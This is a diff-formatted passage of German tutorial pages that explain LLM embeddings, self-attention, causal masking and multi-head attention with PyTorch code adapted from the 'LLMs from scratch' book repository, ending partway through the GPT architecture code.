|
||||
Folgend das Codebeispiel von [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Use previous code...
|
||||
|
||||
# Create dimensional emdeddings
|
||||
"""
|
||||
BPE uses a vocabulary of 50257 words
|
||||
Let's supose we want to use 256 dimensions (instead of the millions used by LLMs)
|
||||
"""
|
||||
|
||||
vocab_size = 50257
|
||||
output_dim = 256
|
||||
token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim)
|
||||
|
||||
## Generate the dataloader like before
|
||||
max_length = 4
|
||||
dataloader = create_dataloader_v1(
|
||||
raw_text, batch_size=8, max_length=max_length,
|
||||
stride=max_length, shuffle=False
|
||||
)
|
||||
data_iter = iter(dataloader)
|
||||
inputs, targets = next(data_iter)
|
||||
|
||||
# Apply embeddings
|
||||
token_embeddings = token_embedding_layer(inputs)
|
||||
print(token_embeddings.shape)
|
||||
torch.Size([8, 4, 256]) # 8 x 4 x 256
|
||||
|
||||
# Generate absolute embeddings
|
||||
context_length = max_length
|
||||
pos_embedding_layer = torch.nn.Embedding(context_length, output_dim)
|
||||
|
||||
pos_embeddings = pos_embedding_layer(torch.arange(max_length))
|
||||
|
||||
input_embeddings = token_embeddings + pos_embeddings
|
||||
print(input_embeddings.shape) # torch.Size([8, 4, 256])
|
||||
```
|
||||
## Referenzen
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
@ -1,416 +0,0 @@
|
||||
# 4. Aufmerksamkeitsmechanismen
|
||||
|
||||
## Aufmerksamkeitsmechanismen und Selbstaufmerksamkeit in neuronalen Netzwerken
|
||||
|
||||
Aufmerksamkeitsmechanismen ermöglichen es neuronalen Netzwerken, sich **auf spezifische Teile der Eingabe zu konzentrieren, wenn sie jeden Teil der Ausgabe generieren**. Sie weisen verschiedenen Eingaben unterschiedliche Gewichte zu, was dem Modell hilft zu entscheiden, welche Eingaben für die jeweilige Aufgabe am relevantesten sind. Dies ist entscheidend bei Aufgaben wie maschineller Übersetzung, bei denen das Verständnis des Kontexts des gesamten Satzes für eine genaue Übersetzung notwendig ist.
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser vierten Phase ist sehr einfach: **Wenden Sie einige Aufmerksamkeitsmechanismen an**. Diese werden viele **wiederholte Schichten** sein, die die **Beziehung eines Wortes im Vokabular zu seinen Nachbarn im aktuellen Satz, der zum Trainieren des LLM verwendet wird, erfassen**.\
|
||||
> Es werden viele Schichten dafür verwendet, sodass viele trainierbare Parameter diese Informationen erfassen werden.
|
||||
|
||||
### Verständnis der Aufmerksamkeitsmechanismen
|
||||
|
||||
In traditionellen Sequenz-zu-Sequenz-Modellen, die für die Sprachübersetzung verwendet werden, kodiert das Modell eine Eingabesequenz in einen kontextuellen Vektor fester Größe. Dieses Vorgehen hat jedoch Schwierigkeiten mit langen Sätzen, da der kontextuelle Vektor fester Größe möglicherweise nicht alle notwendigen Informationen erfasst. Aufmerksamkeitsmechanismen beheben diese Einschränkung, indem sie es dem Modell ermöglichen, alle Eingabetoken zu berücksichtigen, wenn es jedes Ausgabetoken generiert.
|
||||
|
||||
#### Beispiel: Maschinelle Übersetzung
|
||||
|
||||
Betrachten Sie die Übersetzung des deutschen Satzes "Kannst du mir helfen diesen Satz zu übersetzen" ins Englische. Eine wortwörtliche Übersetzung würde keinen grammatikalisch korrekten englischen Satz ergeben, da es Unterschiede in den grammatikalischen Strukturen zwischen den Sprachen gibt. Ein Aufmerksamkeitsmechanismus ermöglicht es dem Modell, sich auf relevante Teile des Eingabesatzes zu konzentrieren, wenn es jedes Wort des Ausgabesatzes generiert, was zu einer genaueren und kohärenteren Übersetzung führt.
|
||||
|
||||
### Einführung in die Selbstaufmerksamkeit
|
||||
|
||||
Selbstaufmerksamkeit, oder Intra-Aufmerksamkeit, ist ein Mechanismus, bei dem Aufmerksamkeit innerhalb einer einzelnen Sequenz angewendet wird, um eine Darstellung dieser Sequenz zu berechnen. Sie ermöglicht es jedem Token in der Sequenz, auf alle anderen Tokens zu achten, was dem Modell hilft, Abhängigkeiten zwischen Tokens unabhängig von ihrer Entfernung in der Sequenz zu erfassen.
|
||||
|
||||
#### Schlüsselkonzepte
|
||||
|
||||
- **Tokens**: Einzelne Elemente der Eingabesequenz (z. B. Wörter in einem Satz).
|
||||
- **Embeddings**: Vektorielle Darstellungen von Tokens, die semantische Informationen erfassen.
|
||||
- **Aufmerksamkeitsgewichte**: Werte, die die Bedeutung jedes Tokens im Verhältnis zu anderen bestimmen.
|
||||
|
||||
### Berechnung der Aufmerksamkeitsgewichte: Ein Schritt-für-Schritt-Beispiel
|
||||
|
||||
Betrachten wir den Satz **"Hello shiny sun!"** und repräsentieren jedes Wort mit einem 3-dimensionalen Embedding:
|
||||
|
||||
- **Hello**: `[0.34, 0.22, 0.54]`
|
||||
- **shiny**: `[0.53, 0.34, 0.98]`
|
||||
- **sun**: `[0.29, 0.54, 0.93]`
|
||||
|
||||
Unser Ziel ist es, den **Kontextvektor** für das Wort **"shiny"** mithilfe von Selbstaufmerksamkeit zu berechnen.
|
||||
|
||||
#### Schritt 1: Berechnung der Aufmerksamkeitswerte
|
||||
|
||||
> [!TIP]
|
||||
> Multiplizieren Sie einfach jeden Dimensionswert der Abfrage mit dem entsprechenden Wert jedes Tokens und addieren Sie die Ergebnisse. Sie erhalten 1 Wert pro Token-Paar.
|
||||
|
||||
Für jedes Wort im Satz berechnen wir den **Aufmerksamkeitswert** in Bezug auf "shiny", indem wir das Skalarprodukt ihrer Embeddings berechnen.
|
||||
|
||||
**Aufmerksamkeitswert zwischen "Hello" und "shiny"**
|
||||
|
||||
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Aufmerksamkeitswert zwischen "shiny" und "shiny"**
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Aufmerksamkeitswert zwischen "sun" und "shiny"**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
#### Schritt 2: Normalisieren der Aufmerksamkeitswerte zur Ermittlung der Aufmerksamkeitsgewichte
|
||||
|
||||
> [!TIP]
|
||||
> Lassen Sie sich nicht von den mathematischen Begriffen verwirren, das Ziel dieser Funktion ist einfach, normalisieren Sie alle Gewichte, sodass **sie insgesamt 1 ergeben**.
|
||||
>
|
||||
> Darüber hinaus wird die **Softmax**-Funktion verwendet, da sie Unterschiede aufgrund des exponentiellen Teils verstärkt, was es einfacher macht, nützliche Werte zu erkennen.
|
||||
|
||||
Wenden Sie die **Softmax-Funktion** auf die Aufmerksamkeitswerte an, um sie in Aufmerksamkeitsgewichte umzuwandeln, die sich auf 1 summieren.
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
|
||||
Berechnung der Exponentialwerte:
|
||||
|
||||
<figure><img src="../../images/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
|
||||
Berechnung der Summe:
|
||||
|
||||
<figure><img src="../../images/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Berechnung der Aufmerksamkeitsgewichte:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||
|
||||
#### Schritt 3: Berechnung des Kontextvektors
|
||||
|
||||
> [!TIP]
|
||||
> Nehmen Sie einfach jedes Aufmerksamkeitsgewicht, multiplizieren Sie es mit den entsprechenden Token-Dimensionen und summieren Sie dann alle Dimensionen, um nur 1 Vektor (den Kontextvektor) zu erhalten.
|
||||
|
||||
Der **Kontextvektor** wird als gewichtete Summe der Embeddings aller Wörter unter Verwendung der Aufmerksamkeitsgewichte berechnet.
|
||||
|
||||
<figure><img src="../../images/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
|
||||
|
||||
Berechnung jeder Komponente:
|
||||
|
||||
- **Gewichtetes Embedding von "Hello"**:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Gewichtetes Embedding von "shiny"**:
|
||||
|
||||
<figure><img src="../../images/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **Gewichtetes Embedding von "sun"**:
|
||||
|
||||
<figure><img src="../../images/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Summierung der gewichteten Embeddings:
|
||||
|
||||
`Kontextvektor=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
|
||||
**Dieser Kontextvektor repräsentiert das angereicherte Embedding für das Wort "shiny", das Informationen aus allen Wörtern im Satz integriert.**
|
||||
|
||||
### Zusammenfassung des Prozesses
|
||||
|
||||
1. **Berechnung der Aufmerksamkeitswerte**: Verwenden Sie das Skalarprodukt zwischen dem Embedding des Zielworts und den Embeddings aller Wörter in der Sequenz.
|
||||
2. **Normalisieren der Werte zur Ermittlung der Aufmerksamkeitsgewichte**: Wenden Sie die Softmax-Funktion auf die Aufmerksamkeitswerte an, um Gewichte zu erhalten, die sich auf 1 summieren.
|
||||
3. **Berechnung des Kontextvektors**: Multiplizieren Sie das Embedding jedes Wortes mit seinem Aufmerksamkeitsgewicht und summieren Sie die Ergebnisse.
|
||||
|
||||
## Selbstaufmerksamkeit mit trainierbaren Gewichten
|
||||
|
||||
In der Praxis verwenden Selbstaufmerksamkeitsmechanismen **trainierbare Gewichte**, um die besten Darstellungen für Abfragen, Schlüssel und Werte zu lernen. Dies beinhaltet die Einführung von drei Gewichtsmatrizen:
|
||||
|
||||
<figure><img src="../../images/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
Die Abfrage ist die zu verwendende Daten wie zuvor, während die Schlüssel- und Wertematrizen einfach zufällige, trainierbare Matrizen sind.
|
||||
|
||||
#### Schritt 1: Berechnung von Abfragen, Schlüsseln und Werten
|
||||
|
||||
Jedes Token hat seine eigene Abfrage-, Schlüssel- und Wertematrix, indem es seine Dimensionswerte mit den definierten Matrizen multipliziert:
|
||||
|
||||
<figure><img src="../../images/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
||||
|
||||
Diese Matrizen transformieren die ursprünglichen Embeddings in einen neuen Raum, der für die Berechnung der Aufmerksamkeit geeignet ist.
|
||||
|
||||
**Beispiel**
|
||||
|
||||
Angenommen:
|
||||
|
||||
- Eingabedimension `din=3` (Embedding-Größe)
|
||||
- Ausgabedimension `dout=2` (gewünschte Dimension für Abfragen, Schlüssel und Werte)
|
||||
|
||||
Initialisieren Sie die Gewichtsmatrizen:
|
||||
```python
|
||||
import torch.nn as nn
|
||||
|
||||
d_in = 3
|
||||
d_out = 2
|
||||
|
||||
W_query = nn.Parameter(torch.rand(d_in, d_out))
|
||||
W_key = nn.Parameter(torch.rand(d_in, d_out))
|
||||
W_value = nn.Parameter(torch.rand(d_in, d_out))
|
||||
```
|
||||
Berechnen Sie Abfragen, Schlüssel und Werte:
|
||||
```python
|
||||
queries = torch.matmul(inputs, W_query)
|
||||
keys = torch.matmul(inputs, W_key)
|
||||
values = torch.matmul(inputs, W_value)
|
||||
```
|
||||
#### Schritt 2: Berechnung der skalierten Dot-Produkt-Attention
|
||||
|
||||
**Berechnung der Aufmerksamkeitswerte**
|
||||
|
||||
Ähnlich wie im vorherigen Beispiel, aber diesmal verwenden wir anstelle der Werte der Dimensionen der Tokens die Schlüsselmatrix des Tokens (bereits unter Verwendung der Dimensionen berechnet):. Für jede Abfrage `qi` und jeden Schlüssel `kj`:
|
||||
|
||||
<figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Skalierung der Werte**
|
||||
|
||||
Um zu verhindern, dass die Dot-Produkte zu groß werden, skalieren Sie sie durch die Quadratwurzel der Schlüssel-Dimension `dk`:
|
||||
|
||||
<figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Der Wert wird durch die Quadratwurzel der Dimensionen geteilt, da Dot-Produkte sehr groß werden können und dies hilft, sie zu regulieren.
|
||||
|
||||
**Anwendung von Softmax zur Ermittlung der Aufmerksamkeitsgewichte:** Wie im ursprünglichen Beispiel, normalisieren Sie alle Werte, sodass sie 1 ergeben.
|
||||
|
||||
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
#### Schritt 3: Berechnung der Kontextvektoren
|
||||
|
||||
Wie im ursprünglichen Beispiel, summieren Sie einfach alle Wertematrizen und multiplizieren jede mit ihrem Aufmerksamkeitsgewicht:
|
||||
|
||||
<figure><img src="../../images/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||
|
||||
### Codebeispiel
|
||||
|
||||
Ein Beispiel von [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) zeigt diese Klasse, die die Selbst-Attention-Funktionalität implementiert, über die wir gesprochen haben:
|
||||
```python
|
||||
import torch
|
||||
|
||||
inputs = torch.tensor(
|
||||
[[0.43, 0.15, 0.89], # Your (x^1)
|
||||
[0.55, 0.87, 0.66], # journey (x^2)
|
||||
[0.57, 0.85, 0.64], # starts (x^3)
|
||||
[0.22, 0.58, 0.33], # with (x^4)
|
||||
[0.77, 0.25, 0.10], # one (x^5)
|
||||
[0.05, 0.80, 0.55]] # step (x^6)
|
||||
)
|
||||
|
||||
import torch.nn as nn
|
||||
class SelfAttention_v2(nn.Module):
|
||||
|
||||
def __init__(self, d_in, d_out, qkv_bias=False):
|
||||
super().__init__()
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
|
||||
def forward(self, x):
|
||||
keys = self.W_key(x)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
attn_scores = queries @ keys.T
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
|
||||
context_vec = attn_weights @ values
|
||||
return context_vec
|
||||
|
||||
d_in=3
|
||||
d_out=2
|
||||
torch.manual_seed(789)
|
||||
sa_v2 = SelfAttention_v2(d_in, d_out)
|
||||
print(sa_v2(inputs))
|
||||
```
|
||||
> [!NOTE]
|
||||
> Beachten Sie, dass anstelle der Initialisierung der Matrizen mit zufälligen Werten `nn.Linear` verwendet wird, um alle Gewichte als Parameter zum Trainieren zu kennzeichnen.
|
||||
|
||||
## Kausale Aufmerksamkeit: Zukünftige Wörter verbergen
|
||||
|
||||
Für LLMs möchten wir, dass das Modell nur die Tokens berücksichtigt, die vor der aktuellen Position erscheinen, um das **nächste Token vorherzusagen**. **Kausale Aufmerksamkeit**, auch bekannt als **maskierte Aufmerksamkeit**, erreicht dies, indem der Aufmerksamkeitsmechanismus so modifiziert wird, dass der Zugriff auf zukünftige Tokens verhindert wird.
|
||||
|
||||
### Anwendung einer kausalen Aufmerksamkeitsmaske
|
||||
|
||||
Um kausale Aufmerksamkeit zu implementieren, wenden wir eine Maske auf die Aufmerksamkeitswerte **vor der Softmax-Operation** an, sodass die verbleibenden Werte immer noch 1 ergeben. Diese Maske setzt die Aufmerksamkeitswerte zukünftiger Tokens auf negative Unendlichkeit, wodurch sichergestellt wird, dass nach der Softmax ihre Aufmerksamkeitsgewichte null sind.
|
||||
|
||||
**Schritte**
|
||||
|
||||
1. **Berechnung der Aufmerksamkeitswerte**: Wie zuvor.
|
||||
2. **Maske anwenden**: Verwenden Sie eine obere Dreiecksmatrix, die über der Diagonalen mit negativer Unendlichkeit gefüllt ist.
|
||||
|
||||
```python
|
||||
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
|
||||
masked_scores = attention_scores + mask
|
||||
```
|
||||
|
||||
3. **Softmax anwenden**: Berechnen Sie die Aufmerksamkeitsgewichte mit den maskierten Werten.
|
||||
|
||||
```python
|
||||
attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||
```
|
||||
|
||||
### Maskierung zusätzlicher Aufmerksamkeitsgewichte mit Dropout
|
||||
|
||||
Um **Überanpassung zu verhindern**, können wir **Dropout** auf die Aufmerksamkeitsgewichte nach der Softmax-Operation anwenden. Dropout **setzt zufällig einige der Aufmerksamkeitsgewichte während des Trainings auf null**.
|
||||
```python
|
||||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
```
|
||||
Ein regulärer Dropout liegt bei etwa 10-20%.
|
||||
|
||||
### Codebeispiel
|
||||
|
||||
Codebeispiel von [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb):
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
|
||||
inputs = torch.tensor(
|
||||
[[0.43, 0.15, 0.89], # Your (x^1)
|
||||
[0.55, 0.87, 0.66], # journey (x^2)
|
||||
[0.57, 0.85, 0.64], # starts (x^3)
|
||||
[0.22, 0.58, 0.33], # with (x^4)
|
||||
[0.77, 0.25, 0.10], # one (x^5)
|
||||
[0.05, 0.80, 0.55]] # step (x^6)
|
||||
)
|
||||
|
||||
batch = torch.stack((inputs, inputs), dim=0)
|
||||
print(batch.shape)
|
||||
|
||||
class CausalAttention(nn.Module):
|
||||
|
||||
def __init__(self, d_in, d_out, context_length,
|
||||
dropout, qkv_bias=False):
|
||||
super().__init__()
|
||||
self.d_out = d_out
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
# b is the num of batches
|
||||
# num_tokens is the number of tokens per batch
|
||||
# d_in is the dimensions er token
|
||||
|
||||
keys = self.W_key(x) # This generates the keys of the tokens
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply
|
||||
attn_scores.masked_fill_( # New, _ ops are in-place
|
||||
self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size
|
||||
attn_weights = torch.softmax(
|
||||
attn_scores / keys.shape[-1]**0.5, dim=-1
|
||||
)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
context_vec = attn_weights @ values
|
||||
return context_vec
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
context_length = batch.shape[1]
|
||||
d_in = 3
|
||||
d_out = 2
|
||||
ca = CausalAttention(d_in, d_out, context_length, 0.0)
|
||||
|
||||
context_vecs = ca(batch)
|
||||
|
||||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
```
|
||||
## Erweiterung der Ein-Kopf-Attention zur Mehr-Kopf-Attention
|
||||
|
||||
**Mehr-Kopf-Attention** besteht in praktischen Begriffen darin, **mehrere Instanzen** der Selbst-Attention-Funktion auszuführen, wobei jede von ihnen **ihre eigenen Gewichte** hat, sodass unterschiedliche endgültige Vektoren berechnet werden.
|
||||
|
||||
### Codebeispiel
|
||||
|
||||
Es wäre möglich, den vorherigen Code wiederzuverwenden und einfach einen Wrapper hinzuzufügen, der ihn mehrere Male ausführt, aber dies ist eine optimierte Version von [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), die alle Köpfe gleichzeitig verarbeitet (was die Anzahl der teuren Schleifen reduziert). Wie im Code zu sehen ist, werden die Dimensionen jedes Tokens in verschiedene Dimensionen entsprechend der Anzahl der Köpfe aufgeteilt. Auf diese Weise, wenn ein Token 8 Dimensionen hat und wir 3 Köpfe verwenden möchten, werden die Dimensionen in 2 Arrays mit 4 Dimensionen aufgeteilt, und jeder Kopf verwendet eines davon:
|
||||
```python
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert (d_out % num_heads == 0), \
|
||||
"d_out must be divisible by num_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer(
|
||||
"mask",
|
||||
torch.triu(torch.ones(context_length, context_length),
|
||||
diagonal=1)
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
# b is the num of batches
|
||||
# num_tokens is the number of tokens per batch
|
||||
# d_in is the dimensions er token
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
batch_size, context_length, d_in = batch.shape
|
||||
d_out = 2
|
||||
mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2)
|
||||
|
||||
context_vecs = mha(batch)
|
||||
|
||||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
|
||||
```
|
||||
Für eine weitere kompakte und effiziente Implementierung könnten Sie die [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) Klasse in PyTorch verwenden.
|
||||
|
||||
> [!TIP]
|
||||
> Kurze Antwort von ChatGPT, warum es besser ist, die Dimensionen der Tokens auf die Köpfe zu verteilen, anstatt dass jeder Kopf alle Dimensionen aller Tokens überprüft:
|
||||
>
|
||||
> Während es vorteilhaft erscheinen mag, dass jeder Kopf alle Einbettungsdimensionen verarbeitet, da jeder Kopf Zugang zu den vollständigen Informationen hätte, ist die gängige Praxis, die **Einbettungsdimensionen auf die Köpfe zu verteilen**. Dieser Ansatz balanciert die rechnerische Effizienz mit der Modellleistung und ermutigt jeden Kopf, vielfältige Darstellungen zu lernen. Daher wird das Aufteilen der Einbettungsdimensionen im Allgemeinen bevorzugt, anstatt dass jeder Kopf alle Dimensionen überprüft.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
@ -1,666 +0,0 @@
|
||||
# 5. LLM-Architektur
|
||||
|
||||
## LLM-Architektur
|
||||
|
||||
> [!TIP]
|
||||
> Das Ziel dieser fünften Phase ist sehr einfach: **Entwickeln Sie die Architektur des vollständigen LLM**. Fügen Sie alles zusammen, wenden Sie alle Schichten an und erstellen Sie alle Funktionen, um Text zu generieren oder Text in IDs und umgekehrt zu transformieren.
|
||||
>
|
||||
> Diese Architektur wird sowohl für das Training als auch für die Vorhersage von Text nach dem Training verwendet.
|
||||
|
||||
LLM-Architekturbeispiel von [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
|
||||
Eine hochrangige Darstellung kann beobachtet werden in:
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
||||
|
||||
1. **Eingabe (Tokenisierter Text)**: Der Prozess beginnt mit tokenisiertem Text, der in numerische Darstellungen umgewandelt wird.
|
||||
2. **Token-Embedding- und Positions-Embedding-Schicht**: Der tokenisierte Text wird durch eine **Token-Embedding**-Schicht und eine **Positions-Embedding-Schicht** geleitet, die die Position der Tokens in einer Sequenz erfasst, was entscheidend für das Verständnis der Wortreihenfolge ist.
|
||||
3. **Transformer-Blöcke**: Das Modell enthält **12 Transformer-Blöcke**, jeder mit mehreren Schichten. Diese Blöcke wiederholen die folgende Sequenz:
|
||||
- **Maskierte Multi-Head-Attention**: Ermöglicht es dem Modell, sich gleichzeitig auf verschiedene Teile des Eingabetextes zu konzentrieren.
|
||||
- **Layer-Normalisierung**: Ein Normalisierungsschritt zur Stabilisierung und Verbesserung des Trainings.
|
||||
- **Feed-Forward-Schicht**: Verantwortlich für die Verarbeitung der Informationen aus der Attention-Schicht und für die Vorhersage des nächsten Tokens.
|
||||
- **Dropout-Schichten**: Diese Schichten verhindern Overfitting, indem sie während des Trainings zufällig Einheiten fallen lassen.
|
||||
4. **Endausgabeschicht**: Das Modell gibt einen **4x50.257-dimensionalen Tensor** aus, wobei **50.257** die Größe des Wortschatzes darstellt. Jede Zeile in diesem Tensor entspricht einem Vektor, den das Modell verwendet, um das nächste Wort in der Sequenz vorherzusagen.
|
||||
5. **Ziel**: Das Ziel ist es, diese Embeddings zu nehmen und sie zurück in Text umzuwandeln. Insbesondere wird die letzte Zeile der Ausgabe verwendet, um das nächste Wort zu generieren, das in diesem Diagramm als "vorwärts" dargestellt ist.
|
||||
|
||||
### Code-Darstellung
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
import tiktoken
|
||||
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.layers(x)
|
||||
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert d_out % num_heads == 0, "d_out must be divisible by num_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
